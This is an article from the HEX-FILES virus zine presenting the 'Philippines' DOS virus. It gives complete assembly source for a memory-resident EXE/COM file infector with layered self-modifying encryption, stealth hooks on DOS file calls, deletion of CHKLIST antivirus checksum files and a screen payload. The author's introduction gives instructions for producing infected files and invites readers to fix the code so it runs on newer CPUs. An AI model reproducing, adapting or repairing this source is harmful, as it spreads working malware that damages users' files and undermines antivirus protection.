Copy Link
Add to Bookmark
Report
Hexfiles Issue 2 File 014
HEX-FILES No. 2 File 014
ÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ
Philippines 1
Folks, meet my first virus.
If you are planning to execute this virus for a look-see, hold on a
minute. Is your computer an 8086? 8088? V20? XT-compatible? No to all
of these? That's what I thought. You might not have seen this oldie
for quite some time, that is, if you have seen one at all. If you
don't have an XT or a compatible, tough luck, this virus won't work
for you. It would crash your system.
My first computer was an 8086 that was passed to me when a relative
upgraded to 386. I couldn't afford to buy my own so I was thankful to
have one even if it is a clunker. Even when prices have gone down and
I could afford a newer computer, I was content with the 8086. That
is, until it gave up on me and went out, literally, on a smoky
farewell.
My first virus was written and fully tested on the XT. However, when
executed on a 286 or newer CPUs, it crashes. How come? I found out
the problem is in my decryptor. I did the necessary fix and created a
new group of Philippines virus -- the self modifying encryption
group. (If you want to call it polymorphic, so be it. But if you ask
me, it is not.) You already met a member of this group in HEX-FILES
No. 1 -- Philippines.3133
If you want to get a copy of an infected file, go find an XT. Just
joking. :) You would find a debug script of an infected file after
the source code.
However, if you want to get a copy of an infected file by yourself,
here's how to do it. Compile the source code to EXE. Rename the first
generation EXE to COM. Copy a program you want to be infected in the
directory where the virus first generation is. (If that particular
program is a COM, rename it to EXE. Make sure that there are no other
programs in that directory that have the EXE file extension.) Execute
the first generation of the virus. You now have an infected program
and prepare for a crash. Better reset.
If you want the virus to work on any computer, go ahead and fix the
code. Or, you can move over to the next file where you would find
your wish come true -- I already fixed the problem so that you would
have a working virus. But if you would want to do it yourself, be my
guest.
ÄÄ PHILPNS1.ASM STARTS HERE ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
TITLE Philippines Virus by Putoksa Kawayan 12.1993
InterTable SEGMENT AT 0
ORG 4*1
InterTab1 LABEL DWORD
InterTab1IP DW ?
InterTab1CS DW ?
ORG 4*19h
InterTab19 LABEL DWORD
InterTab19IP DW ?
InterTab19CS DW ?
InterTable ENDS
VirusCode SEGMENT WORD 'Code'
ASSUME CS:VirusCode, DS:VirusCode, ES:Nothing
VirLen EQU (Offset ReadArea-Offset InitC)
SubOff EQU (Offset Bios8-Offset Bios7)
TopOff EQU ((Offset InitC3-1)-Offset InitC)
ExeEnc1 EQU (Offset Country-Offset InitE10)
ExeEnc2 EQU (Offset Country-Offset InitE13)
ExeEnc3 EQU ((Offset Country-Offset InitE4)-1)
ExeEnc4 EQU (Offset InitE-Offset InitC)
ComEnc1 EQU ((Offset Country-Offset InitC2)-1)
ComEnc2 EQU (Offset Country-Offset InitC6)
ComEnc3 EQU (Offset Country-Offset InitC8)
StartLen EQU ((Offset DummyLen-Offset InitC)-1)
CountryLen EQU (Offset ReadArea-Offset Country)
MessageLen EQU (Offset ReadArea-Offset Message)
ChecklistLen EQU (Offset Message-Offset Checklist)
ComEntryLen EQU (Offset XorMaker-Offset ComEntry)
SwimmerLen EQU (Offset Interrupt8-Offset Swimmer5Top)
ResidePara EQU ((((Offset MessageFirstGen-Offset InitC)+100h)/16)+1)
InitC:
MOV DI,1111h
PUSH DI
POP SI
InitC1:
LODSB
SUB AL,0
STOSB
DEC BX
InitC2:
JNZ InitC1
InitC3:
MOV AX,CS
CALL $+3
POP BP
DummyLen:
SUB BP,StartLen
JMP InitC4
PrepareToEncrypt:
MOV ES,AllocMem
XOR DI,DI
MOV SI,DI
MOV CX,Virlen
REPZ MOVSB
PUSH ES
POP DS
RET
ComEntry:
MOV BX,ComEnc1
ComEntry1:
MOV SI,4444h
PUSH SI
CLD
RET
XorMaker:
CALL GetBase
OR DL,DL
JNZ XorMak1
ADD DL,DH
SHR DL,1
OR DL,DL
JZ XorMaker
XorMak1:
RET
UseFileName:
CLD
MOV BX,DX
PUSH DX
FilNam1:
MOV AL,[BX]
OR AL,AL
JZ FilNam3
CMP AL,'a'
JB FilNam2
CMP AL,'z'
JA FilNam2
SUB BYTE PTR [BX],20h
FilNam2:
INC BX
JMP FilNam1
FilNam3:
MOV CX,BX
INC CX
POP SI
SUB CX,SI
PUSH CX
PUSH DS
POP ES
MOV AL,'.'
MOV DI,DX
REPNZ SCASB
MOV AX,'EX'
CMP [DI],AH
JNZ FilNam5
CMP [DI+1],AX
JNZ FilNam8
FilNam4:
PUSH CS
POP ES
MOV BYTE PTR CS:FileType,1
JMP Short FilNam9
FilNam5:
MOV AX,'MO'
CMP [DI+1],AX
JNZ FilNam8
CMP BYTE PTR [DI],'C'
JNZ FilNam8
POP CX
PUSH CX
SUB CX,4
MOV AX,':\'
FilNam6:
CMP [DI-1],AL
JZ FilNam7
CMP [DI-1],AH
JZ FilNam7
DEC DI
LOOP FilNam6
FilNam7:
MOV SI,DI
PUSH CS
POP ES
MOV DI,Offset CommandCom
MOV CX,11
REPZ CMPSB
JNZ FilNam4
FilNam8:
MOV BYTE PTR CS:FileType,0
FilNam9:
POP CX
RET
CommandCom DB 'COMMAND.COM'
ExecutePara DW 0
ExecutePara1 DW 0080h
ExecutePara2 DW ?
ExecutePara3 DW 005Ch
ExecutePara4 DW ?
ExecutePara5 DW 006Ch
ExecutePara6 DW ?
SecBytes DW 512
ParaBytes DW 16
StackSeg DW ?
InitC4:
MOV SI,Offset InitC6
ADD SI,BP
MOV DI,SI
MOV DX,ComEnc2
MOV CL,3
InitC5:
LODSB
ROR AL,CL
STOSB
DEC DX
JNZ InitC5
InitC6:
MOV SI,Offset InitC8
ADD SI,BP
MOV DI,SI
MOV CX,ComEnc3
InitC7:
LODSB
XOR AL,0
STOSB
DEC CX
JNZ InitC7
InitC8:
JMP Short InitC9
CheckAttrib:
CMP AH,43h
JZ Attrib2
Attrib1:
JMP Dos3
Attrib2:
MOV CS:Environment,BP
MOV BP,Offset Attrib3
JMP CheckIfInfected
Attrib3:
MOV BP,CS:Environment
CMP CS:ChkSum,9818h
JNZ Attrib1
OR AL,AL
JZ Attrib4
OR CL,1
Attrib4:
POPF
CALL UseOldDos
JB Attrib5
PUSHF
AND CL,0FEh
POPF
Attrib5:
IRET
FindFirstFile:
PUSH DX
MOV AH,1Ah
MOV DX,Offset ReadArea
CALL UseOldDos
POP DX
MOV AH,4Eh
MOV CX,7
CALL UseOldDos
RET
InitC9:
CALL MemResChk
JNZ InitV1
InitC10:
MOV DI,100h
MOV SI,Offset DataStorage
ADD SI,BP
PUSH DI
MOV CX,16
REPZ MOVSW
RET
MemChkOK:
NOT AX
POPF
IRET
RestoreInt24:
LDS DX,CS:Int24Address
MOV AX,2524h
CALL UseOldDos
RET
Interrupt24:
MOV AL,3
IRET
InitV1:
PUSH ES
MOV SI,BP
XOR DI,DI
MOV AX,ES
ADD AX,16
MOV ES,AX
MOV CX,((Virlen+1)/2)
REPZ MOVSW
PUSH ES
POP DS
POP ES
PUSH AX
MOV BP,Offset InitV2
PUSH BP
RETF
EncryptData:
PUSH SI
PUSH CX
PUSH SI
POP DI
EncDat1:
LODSB
NOT AL
STOSB
LOOP EncDat1
POP CX
POP SI
RET
InfectionCount DB 0
Interrupt21:
PUSHF
CMP AX,4B00h
JZ Dos1
CMP AX,0F00Fh
JZ MemChkOK
JMP OpenFile
Dos1: PUSH AX
PUSH BX
PUSH CX
PUSH DX
PUSH SI
PUSH DI
PUSH DS
PUSH ES
CALL Propagate
CALL GoToWork
Dos2: POP ES
POP DS
POP DI
POP SI
POP DX
POP CX
POP BX
POP AX
Dos3: POPF
JMP CS:Int21Address
InitV2:
MOV AX,ES:[2Ch]
MOV Environment,AX
MOV CS:ExecutePara2,ES
MOV CS:ExecutePara4,ES
MOV CS:ExecutePara6,ES
PUSH ES
PUSH CS
POP ES
MOV BL,1
InitV3:
MOV SI,Offset MessageEnc
MOV CX,MessageLen
CALL EncryptData
OR BL,BL
JZ InitV4
MOV DI,Offset Message
REPZ MOVSB
DEC BL
JMP InitV3
InitV4:
POP ES
CLI
MOV AX,CS
MOV SS,AX
MOV SP,(Offset SaveScreen-1)
STI
JMP InitV5
GoToWork:
CALL UseFileName
CMP BYTE PTR CS:FileType,0
JZ Dos4
MOV SI,DX
MOV DI,Offset ASCIIZ
REPZ MOVSB
JMP Short Dos5
Dos4: RET
Dos5: PUSH CS
POP DS
MOV AX,3524h
CALL UseOldDos
MOV Int24IP,BX
MOV Int24CS,ES
MOV AX,2524h
MOV DX,Offset Interrupt24
CALL UseOldDos
PUSH CS
POP ES
MOV DX,Offset ASCIIZ
MOV AX,3D00h
CALL UseOldDos
JB Dos4
MOV BX,AX
MOV AX,4202h
MOV CX,-1
MOV DX,-11
CALL UseOldDos
MOV CX,11
MOV DX,Offset ReadArea
MOV AH,3Fh
CALL UseOldDos
JB Dos6
MOV DX,18
CALL MovePointerToChkSm
MOV DX,Offset Chksum
MOV CX,2
MOV AH,3Fh
CALL UseOldDos
Dos6: PUSHF
MOV AH,3Eh
CALL UseOldDos
POPF
JB Dos7
MOV DI,Offset ReadArea
MOV SI,Offset Country
MOV CX,11
REPZ CMPSB
JNZ Dos8
CMP Chksum,9818h
JNZ Dos8
Dos7: JMP RestoreInt24
Dos8: XOR DX,DX
MOV BX,Offset ASCIIZ
CMP BYTE PTR [BX+1],':'
JNE Dos8A
MOV DL,[BX]
SUB DL,'A'-1
Dos8A:MOV AH,36h
CALL UseOldDos
JB Dos7
MUL BX
MUL CX
OR DX,DX
JNZ Dos9
CMP AX,(((VirLen/1024)+1)*1024)
JB Dos7
Dos9: MOV BX,((VirLen/16)+2)
MOV AH,48h
CALL UseOldDos
JB Dos7
MOV AllocMem,AX
MOV DX,Offset ASCIIZ
MOV AX,4300h
CALL UseOldDos
JB Dos11
MOV Attribute,CX
MOV AX,4301h
XOR CX,CX
CALL UseOldDos
JB Dos11
MOV AX,3D02h
CALL UseOldDos
JB Dos11
MOV BX,AX
MOV FileHandle,BX
MOV AX,5700h
CALL UseOldDos
MOV FileTime,CX
MOV FileDate,DX
XOR CX,CX
XOR DX,DX
MOV AX,4202h
CALL UseOldDos
MOV LoLen,AX
MOV HiLen,DX
PUSH AX
CALL MovePointerStart
MOV DX,Offset ReadArea
MOV CX,32
MOV AH,3Fh
CALL UseOldDos
POP AX
CMP ExeID,'ZM'
JE Dos12
CMP AX,1993
JB Dos14
Dos10:JMP Dos18
Dos11:JMP Dos23
Dos12:MOV AX,OffsSS
MOV StackSeg,AX
MOV AX,OffsSP
MOV SPoint,AX
MOV AX,OffsCS
MOV CodeSegt,AX
MOV AX,OffsIP
MOV IPoint,AX
MOV AX,BlocksNo
CMP BytesLast,0
JZ Dos13
DEC AX
Dos13:MUL SecBytes
ADD AX,BytesLast
ADC DX,0
ADD AX,ParaBytes
ADC DX,0
AND AX,0FFF0h
MOV LoLen,AX
MOV HiLen,DX
ADD AX,VirLen
ADC DX,0
JNB Dos15
Dos14:JMP Dos22
Dos15:DIV SecBytes
OR DX,DX
JZ Dos16
INC AX
Dos16:
MOV BlocksNo,AX
MOV BytesLast,DX
MOV DX,HiLen
MOV AX,LoLen
DIV ParaBytes
SUB AX,HeaderPara
MOV OffsCS,AX
MOV OffsIP,Offset InitE
MOV Chksum,9818h
MOV OffsSP,(Offset SaveScreen-1)
MOV OffsSS,AX
INC InfectionCount
JMP EncryptExe
Dos17:CALL MovePointerStart
MOV CX,28
JMP Short Dos21
Dos18:
MOV AX,LoLen
ADD AX,16
JB Dos22
AND AX,0FFF0h
MOV LoLen,AX
ADD AX,VirLen
JB Dos22
Dos19:PUSH DS
POP ES
MOV DI,Offset DataStorage
MOV SI,Offset ReadArea
MOV CX,16
REPZ MOVSW
INC InfectionCount
JMP EncryptCom
Dos20:MOV DS,CS:LoLen
MOV DI,Offset ReadArea
PUSH DI
MOV CX,16
REPZ MOVSW
PUSH CS
POP DS
POP DI
MOV SI,Offset ComEntry
MOV CX,ComEntryLen
REPZ MOVSB
MOV Chksum,9818h
CALL MovePointerStart
MOV CX,32
Dos21:MOV DX,Offset ReadArea
MOV AH,40h
CALL UseOldDos
MOV CX,FileTime
MOV DX,FileDate
MOV AX,5701h
CALL UseOldDos
Dos22:MOV AH,3Eh
CALL UseOldDos
MOV CX,Attribute
OR CX,1
MOV DX,Offset ASCIIZ
MOV AX,4301h
CALL UseOldDos
Dos23:
MOV ES,AllocMem
MOV AH,49h
CALL UseOldDos
JMP LookForChkSum
SubMaker:
CALL GetBase
OR DL,DL
JNZ SubMak1
JMP SubMaker
SubMak1:
MOV DH,DL
NEG DL
RET
ReturnControl LABEL DWORD
IPoint DW ?
CodeSegt DW ?
WriteVirusCode:
MOV DX,CS:LoLen
MOV CX,CS:HiLen
MOV BX,CS:FileHandle
CALL MovePointer
MOV CX,VirLen
XOR DX,DX
MOV AH,40h
CALL UseOldDos
RET
GetBase:
XOR AX,AX
INT 1Ah
CMP CS:LastTime,DX
MOV CS:LastTime,DX
JNE GetBase1
PUSH DX
MOV AH,2Ch
CALL UseOldDos
POP AX
XOR AX,CS:FileTime
GetBase1:
ADD AX,DX
ADD AX,CX
MUL DX
ADD DX,AX
CMP CX,1
JBE GetBase2
MOV AX,DX
MUL CX
ADD DX,AX
GetBase2:
RET
MessageEnc DB 'Written by Putoksa Kawayan on December 1993, '
DB 'in MetroManila, Philippines'
InitE:
MOV BX,Offset InitE4
InitE1:MOV CX,0
InitE2:INC BX
InitE3:XOR BYTE PTR CS:[BX],0
DEC CX
InitE4:JNZ InitE2
CLD
MOV DI,BX
INC DI
MOV SI,DI
PUSH ES
PUSH CS
POP DS
PUSH DS
POP ES
InitE5:MOV CX,0
JCXZ InitE8
InitE6:LODSB
InitE7:XOR AL,0
STOSB
DEC CX
JNZ InitE6
InitE8:MOV SI,Offset InitE10
MOV DI,SI
MOV BP,ExeEnc1
MOV CL,5
InitE9:LODSB
ROL AL,CL
STOSB
DEC BP
JNZ InitE9
InitE10:MOV SI,Offset InitE13
MOV DI,SI
MOV CX,ExeEnc2
InitE11:LODSB
InitE12:SUB AL,0
STOSB
DEC CX
JNZ InitE11
InitE13:MOV SI,Offset InitC
MOV DI,SI
MOV CX,ExeEnc4
PUSH CX
PUSH SI
PUSH DI
InitE14:LODSB
InitE15:ADD AL,0
STOSB
DEC CX
JNZ InitE14
POP DI
POP SI
POP CX
PUSH CX
PUSH SI
PUSH DI
InitE16:LODSB
NEG AL
STOSB
DEC CX
JNZ InitE16
POP DI
POP SI
POP CX
InitE17:MOV AH,0
InitE18:LODSB
XOR AL,AH
STOSB
DEC CX
JNZ InitE18
MOV BP,CX
CALL MemResChk
POP ES
JNZ InitE19
MOV BX,ES
ADD BX,16
ADD StackSeg,BX
ADD CodeSegt,BX
MOV SS,StackSeg
MOV SP,SPoint
PUSH ES
POP DS
JMP CS:ReturnControl
InitE19:JMP InitV1
DataStorage DB 32 DUP (?)
CheckIfInfected:
PUSH AX
PUSH BX
PUSH CX
PUSH DX
PUSH SI
PUSH DI
PUSH DS
PUSH ES
CALL UseFileName
CMP BYTE PTR CS:FileType,1
JZ ChkInfect2
ChkInfect1:
MOV BP,CS:Environment
JMP Dos2
ChkInfect2:
MOV DI,Offset ASCIIZ
MOV SI,DX
PUSH DI
REPZ MOVSB
PUSH CS
POP DS
POP DX
MOV AX,3D00h
CALL UseOldDos
JB ChkInfect1
MOV BX,AX
MOV DX,18
CALL MovePointerToChkSm
MOV DX,Offset Chksum
MOV CX,2
MOV AH,3Fh
CALL UseOldDos
MOV AH,3Eh
CALL UseOldDos
POP ES
POP DS
POP DI
POP SI
POP DX
POP CX
POP BX
POP AX
PUSH BP
RET
EncryptExe:
CALL PrepareToEncrypt
CALL XorMaker
MOV SI,(Offset InitE17)+1
MOV [SI],DL
MOV SI,Offset InitC
MOV DI,SI
MOV CX,ExeEnc4
PUSH CX
PUSH SI
PUSH DI
EncE1:LODSB
XOR AL,DL
STOSB
LOOP EncE1
POP DI
POP SI
POP CX
PUSH CX
PUSH SI
PUSH DI
EncE2:LODSB
NEG AL
STOSB
LOOP EncE2
CALL SubMaker
MOV SI,(Offset InitE15)+1
MOV [SI],DL
POP DI
POP SI
POP CX
EncE3:LODSB
ADD AL,DH
STOSB
LOOP EncE3
CALL GetBase
MOV CX,AX
MOV SI,(Offset InitE5)+1
MOV BP,ExeEnc3
CMP CX,BP
JBE EncE4
SHR CX,1
SHR CX,1
SHR CX,1
SHR CX,1
CMP CX,BP
JBE EncE4
SUB CX,CS:LoLen
AND CX,0FFFh
CMP CX,BP
JBE EncE4
XOR BX,BX
MOV CX,BP
MOV [SI],BX
JMP Short EncE5
EncE4:MOV BX,BP
SUB BX,CX
MOV [SI],BX
EncE5:MOV SI,(Offset InitE1)+1
MOV [SI],CX
PUSH CX
PUSH BX
CALL SubMaker
MOV SI,(Offset InitE12)+1
MOV [SI],DL
MOV DI,Offset InitE13
MOV SI,DI
MOV CX,ExeEnc2
EncE6:LODSB
SUB AL,DH
STOSB
LOOP EncE6
MOV SI,Offset InitE10
MOV DI,SI
MOV DX,ExeEnc1
MOV CX,5
EncE7:LODSB
ROR AL,CL
STOSB
DEC DX
JNZ EncE7
POP CX
JCXZ EncE9
PUSH CX
CALL XorMaker
MOV SI,(Offset InitE7)+1
MOV [SI],DL
MOV SI,(Offset InitE4)+1
MOV DI,ExeEnc3
POP CX
SUB DI,CX
ADD SI,DI
MOV DI,SI
EncE8:LODSB
XOR AL,DL
STOSB
DEC CX
JNZ EncE8
EncE9:CALL XorMaker
MOV SI,(Offset InitE4)+1
POP CX
MOV DI,(Offset InitE3)+3
MOV [DI],DL
MOV DI,SI
EncE10:LODSB
XOR AL,DL
STOSB
LOOP EncE10
PUSH CS
POP ES
CALL WriteVirusCode
PUSH CS
POP DS
JMP Dos17
Propagate:
PUSH DX
PUSH DS
PUSH ES
MOV BX,DX
CMP BYTE PTR [BX+1],':'
JNE Prop1
MOV AL,[BX]
JMP Short Prop2
Prop1:MOV AH,19h
CALL UseOldDos
ADD AL,41h
Prop2:PUSH CS
POP DS
PUSH DS
POP ES
MOV ExeAsciiz,AL
MOV AH,':'
MOV DI,Offset ASCIIZ
MOV BP,DI
CLD
STOSW
MOV DX,Offset ExeAsciiz
CALL FindFirstFile
JB Prop4
MOV SI,Offset ReadArea+1Eh
Prop3:LODSB
STOSB
OR AL,AL
JNZ Prop3
MOV DX,BP
CALL GoToWork
Prop4:POP ES
POP DS
POP DX
RET
MovePointerStart:
XOR DX,DX
MovePointerToChkSm:
XOR CX,CX
MovePointer:
MOV AX,4200h
UseOldDos:
PUSHF
CALL CS:Int21Address
RET
Swimmer5Top DB 0FFh,3Fh,20h,1Fh,20h,1Fh,20h,1Fh,20h,1Fh,20h,1Fh,'\',1Fh
Swimmer5Middle DB 0FFh,3Fh,'=',1Fh,'=',1Fh,'-',1Fh,'-',1Fh,'-',1Fh,'O',1Fh
Swimmer5Bottom DB 0FFh,3Fh,20h,1Fh,20h,1Fh,20h,1Fh,20h,1Fh,20h,1Fh,'/',1Fh
Swimmer2Top DB 0FFh,3Fh,20h,1Fh,20h,1Fh,20h,1Fh,20h,1Fh,20h,1Fh,20h,1Fh
DB '/',1Fh
Swimmer2Middle DB 0FFh,3Fh,'=',1Fh,'=',1Fh,'-',1Fh,'-',1Fh,'-',1Fh,'O',1Fh
Swimmer2Bottom DB 0FFh,3Fh,20h,1Fh,20h,1Fh,20h,1Fh,20h,1Fh,20h,1Fh,20h,1Fh
DB '\',1Fh
Swimmer1Sides DB 0FFh,3Fh,20h,1Fh,20h,1Fh,20h,1Fh,20h,1Fh,20h,1Fh,20h,1Fh
Swimmer1Middle DB 0FFh,3Fh,'=',1Fh,'=',1Fh,'-',1Fh,'-',1Fh,'-',1Fh,'O',1Fh
DB '=',1Fh,'=',1Fh
Swimmer3Top DB 0FFh,3Fh,'\',1Fh,20h,1Fh,20h,1Fh,20h,1Fh,20h,1Fh,'/',1Fh
Swimmer3Middle DB 0FFh,3Fh,20h,1Fh,'-',1Fh,'-',1Fh,'-',1Fh,'O',1Fh
Swimmer3Bottom DB 0FFh,3Fh,'/',1Fh,20h,1Fh,20h,1Fh,20h,1Fh,20h,1Fh,'\',1Fh
Swimmer4Top DB 0FFh,3Fh,'\',1Fh,20h,1Fh,20h,1Fh,'\',1Fh
Swimmer4Middle DB 0FFh,3Fh,'-',1Fh,'-',1Fh,'-',1Fh,'O',1Fh
Swimmer4Bottom DB 0FFh,3Fh,'/',1Fh,20h,1Fh,20h,1Fh,'/',1Fh
Interrupt8:
INT 3
PUSHF
INC CS:Timer
JNZ Bios1
DEC BYTE PTR CS:HourCount
JNZ Bios1
CMP CS:InfectionCount,200
JNB Bios2
Bios1:POPF
JMP CS:Int8Address
Bios2:POPF
CLD
PUSH CS
POP DS
PUSH DS
POP ES
MOV SI,Offset Swimmer5Top
MOV CX,SwimmerLen
CALL EncryptData
MOV BX,0B800h
INT 11h
AND AL,30h
CMP AL,30h
JNE Bios3
MOV BX,0B000h
Bios3:MOV DS,BX
XOR SI,SI
MOV DI,Offset SaveScreen
MOV CX,2000
PUSH CX
PUSH DI
PUSH SI
REPZ MOVSW
MOV AX,3
INT 10h
MOV AH,1
MOV CX,0909h
INT 10h
PUSH CS
PUSH DS
POP ES
POP DS
POP DI
POP SI
POP CX
MOV BP,4000
REPZ MOVSW
Bios4:XOR BX,BX
Bios5:MOV CX,15
Bios6:PUSH CX
MOV SI,Offset Swimmer1Sides
Bios7:MOV DI,BX
CMP BX,BP
JB Bios8
CALL OverTheTop
Bios8:MOV CX,7
REPZ MOVSW
MOV SI,Offset Swimmer1Middle
MOV DI,BX
ADD DI,160
MOV CX,9
REPZ MOVSW
MOV SI,Offset Swimmer1Sides
MOV DI,BX
ADD DI,320
MOV CX,7
REPZ MOVSW
NOT CX
REPZ LODSB
ADD BX,2
POP CX
LOOP Bios6
MOV CX,3
Bios9:PUSH CX
MOV SI,Offset Swimmer2Top
MOV DI,BX
CMP BX,BP
JB Bios10
CALL OverTheTop
Bios10:MOV CX,8
REPZ MOVSW
MOV SI,Offset Swimmer2Middle
MOV DI,BX
ADD DI,160
MOV CX,7
REPZ MOVSW
MOV SI,Offset Swimmer2Bottom
MOV DI,BX
ADD DI,320
MOV CX,8
REPZ MOVSW
NOT CX
REPZ LODSB
ADD BX,2
POP CX
LOOP Bios9
MOV CX,3
Bios11:PUSH CX
MOV SI,Offset Swimmer3Top
MOV DI,BX
CMP BX,BP
JB Bios12
CALL OverTheTop
Bios12:MOV CX,7
REPZ MOVSW
MOV SI,Offset Swimmer3Middle
MOV DI,BX
ADD DI,160
MOV CX,6
REPZ MOVSW
MOV SI,Offset Swimmer3Bottom
MOV DI,BX
ADD DI,320
MOV CX,7
REPZ MOVSW
NOT CX
REPZ LODSB
ADD BX,2
POP CX
LOOP Bios11
MOV CX,3
Bios13:PUSH CX
MOV SI,Offset Swimmer4Top
MOV DI,BX
CMP BX,BP
JB Bios14
CALL OverTheTop
Bios14:MOV CX,5
REPZ MOVSW
MOV SI,Offset Swimmer4Middle
MOV DI,BX
ADD DI,160
MOV CX,5
REPZ MOVSW
MOV SI,Offset Swimmer4Bottom
MOV DI,BX
ADD DI,320
MOV CX,5
REPZ MOVSW
NOT CX
REPZ LODSB
ADD BX,2
POP CX
LOOP Bios13
MOV CX,4
Bios15:PUSH CX
MOV SI,Offset Swimmer5Top
MOV DI,BX
CMP BX,BP
JB Bios16
CALL OverTheTop
Bios16:MOV CX,7
REPZ MOVSW
MOV SI,Offset Swimmer5Middle
MOV DI,BX
ADD DI,160
MOV CX,7
REPZ MOVSW
MOV SI,Offset Swimmer5Bottom
MOV DI,BX
ADD DI,320
MOV CX,7
REPZ MOVSW
NOT CX
REPZ LODSB
ADD BX,2
POP CX
LOOP Bios15
JMP Bios5
InitV5:MOV AH,4Ah
MOV BX,ResidePara
INT 21h
PUSH CS
POP DS
MOV Timer,0
MOV BYTE PTR HourCount,4
MOV AX,3521h
INT 21h
MOV Int21CS,ES
MOV Int21IP,BX
MOV AH,25h
MOV DX,Offset Interrupt21
CALL UseOldDos
MOV AX,3508h
CALL UseOldDos
MOV Int8CS,ES
MOV Int8IP,BX
MOV AH,25h
MOV DX,Offset Interrupt8
CALL UseOldDos
MOV ES,Environment
XOR DI,DI
MOV CX,0FFFEh
XOR AL,AL
InitV6:REPNZ SCASB
CMP ES:[DI],AL
LOOPNZ InitV6
ADD DI,3
MOV DX,DI
PUSH CS
PUSH ES
POP DS
POP ES
CALL Propagate
MOV AX,4B00h
MOV BX,Offset ExecutePara
CALL UseOldDos
PUSH DS
POP ES
MOV AH,49h
CALL UseOldDos
MOV AH,4Dh
CALL UseOldDos
MOV AH,31h
MOV DX,ResidePara
INT 21h
OverTheTop:
POP AX
SUB AX,SubOff
PUSH AX
MOV SI,Offset SaveScreen
XOR DI,DI
PUSH DI
MOV CX,2000
REPZ MOVSW
MOV DI,16
OverTheTop1:
NOT CX
REPZ LODSB
DEC DI
JNZ OverTheTop1
POP BX
RET
OpenFile:
CMP AH,3Dh
JZ OpnFil1
JMP CheckAttrib
OpnFil1:MOV CS:Environment,BP
MOV BP,Offset OpnFil2
JMP CheckIfInfected
OpnFil2:MOV BP,CS:Environment
CMP CS:Chksum,9818h
JZ OpnFil4
OpnFil3:JMP Dos3
OpnFil4:POPF
CALL UseOldDos
STC
PUSH BP
PUSHF
POP AX
MOV BP,SP
MOV SS:[BP+6],AX
POP BP
MOV AX,2
IRET
SPoint DW ?
MemResChk:
MOV AL,0Fh
MOV AH,AL
NOT AH
MOV BX,AX
NOT BX
INT 21h
CMP AX,BX
ASSUME CS:VirusCode, DS:InterTable, ES:Nothing
PUSH DS
PUSH ES
PUSHF
XOR AX,AX
MOV DS,AX
LES AX,InterTab19
MOV InterTab1CS,ES
MOV InterTab1IP,AX
POPF
POP ES
POP DS
ASSUME CS:VirusCode, DS:VirusCode, ES:Nothing
MemChk1:
RET
EncryptCom:
MOV BP,LoLen
ADD BP,100h
CALL PrepareToEncrypt
CALL XorMaker
MOV SI,(Offset InitC7)+2
MOV [SI],DL
MOV SI,Offset InitC8
MOV CX,ComEnc3
MOV DI,SI
EncC1:LODSB
XOR AL,DL
STOSB
LOOP EncC1
MOV SI,Offset InitC6
MOV DX,ComEnc2
MOV DI,SI
MOV CL,3
EncC2:LODSB
ROL AL,CL
STOSB
DEC DX
JNZ EncC2
MOV BX,(Offset InitC2)+1
PUSH BX
ADD BX,BP
MOV DI,(Offset ComEntry)+4
MOV SI,Offset InitC1
MOV CS:[DI],BP
MOV [SI-4],BX
CALL SubMaker
MOV [SI+2],DL
POP SI
MOV CX,ComEnc1
MOV DI,SI
EncC4:LODSB
SUB AL,DH
STOSB
LOOP EncC4
PUSH CS
POP ES
CALL WriteVirusCode
JMP Dos20
LookForChkSum:
PUSH CS
POP DS
PUSH CS
POP ES
MOV AL,0
MOV CX,140
MOV DX,Offset ASCIIZ
MOV DI,DX
REPNZ SCASB
MOV AX,':\'
Look4Chk1:
DEC DI
CMP BYTE PTR [DI-1],AL
JE Look4Chk2
CMP BYTE PTR [DI-1],AH
JE Look4Chk2
JMP Look4Chk1
Look4Chk2:
MOV BP,DI
MOV SI,Offset Checklist
MOV CX,ChecklistLen
REPZ MOVSB
CALL FindFirstFile
JB Look4Chk5
MOV SI,Offset ReadArea+1Eh
MOV DI,BP
Look4Chk4:
LODSB
STOSB
OR AL,AL
JNZ Look4Chk4
MOV AX,4301h
XOR CX,CX
CALL UseOldDos
JB Look4Chk5
MOV AH,41h
CALL UseOldDos
Look4Chk5:
JMP RestoreInt24
ExeAsciiz DB 'C:*.EXE',0
Checklist DB 'CHKLIST.*',0
Message DB 'Written by Putoksa Kawayan '
DB 'on December 1993, in MetroManila, '
Country DB 'Philippines'
ReadArea LABEL BYTE
ExeID DW ?
BytesLast DW ?
BlocksNo DW ?
Reloc1 DW ?
HeaderPara DW ?
MinPara DW ?
LoaderSw DW ?
OffsSS DW ?
OffsSP DW ?
Chksum DW ?
OffsIP DW ?
OffsCS DW ?
Reloc2 DW 10 DUP (?)
HourCount DB ?
FileType DB ?
FileHandle DW ?
Attribute DW ?
AllocMem DW ?
HiLen DW ?
LoLen DW ?
LastTime DW ?
Environment DW ?
FileTime DW ?
FileDate DW ?
Timer DW ?
Int24Address LABEL DWORD
Int24IP DW ?
Int24CS DW ?
Int21Address LABEL DWORD
Int21IP DW ?
Int21CS DW ?
Int8Address LABEL DWORD
Int8IP DW ?
Int8CS DW ?
ASCIIZ DB 16 DUP (?)
StackArea DB 100h DUP (?)
SaveScreen DW ?
MessageFirstGen DB 13,10,7,'Philippines virus is alive.',7,7,7,13,10,'$'
FirstGeneration:
MOV AX,CS
MOV DS,AX
CALL MemResChk
JNZ Inst1
MOV AH,9
LEA DX,MessageFirstGen
INT 21h
MOV AH,4Ch
INT 21h
Inst1:
CLD
PUSH ES
PUSH CS
POP ES
MOV SI,Offset MessageEnc
MOV CX,MessageLen
CALL EncryptData
MOV SI,Offset Swimmer5Top
MOV CX,SwimmerLen
CALL EncryptData
POP ES
MOV AX,ES:[2Ch]
MOV CS:Environment,AX
MOV CS:ExecutePara6,ES
MOV CS:ExecutePara4,ES
MOV CS:ExecutePara2,ES
CLI
MOV AX,CS
MOV SS,AX
MOV SP,(Offset SaveScreen-1)
STI
JMP InitV5
VirusCode ENDS
END FirstGeneration
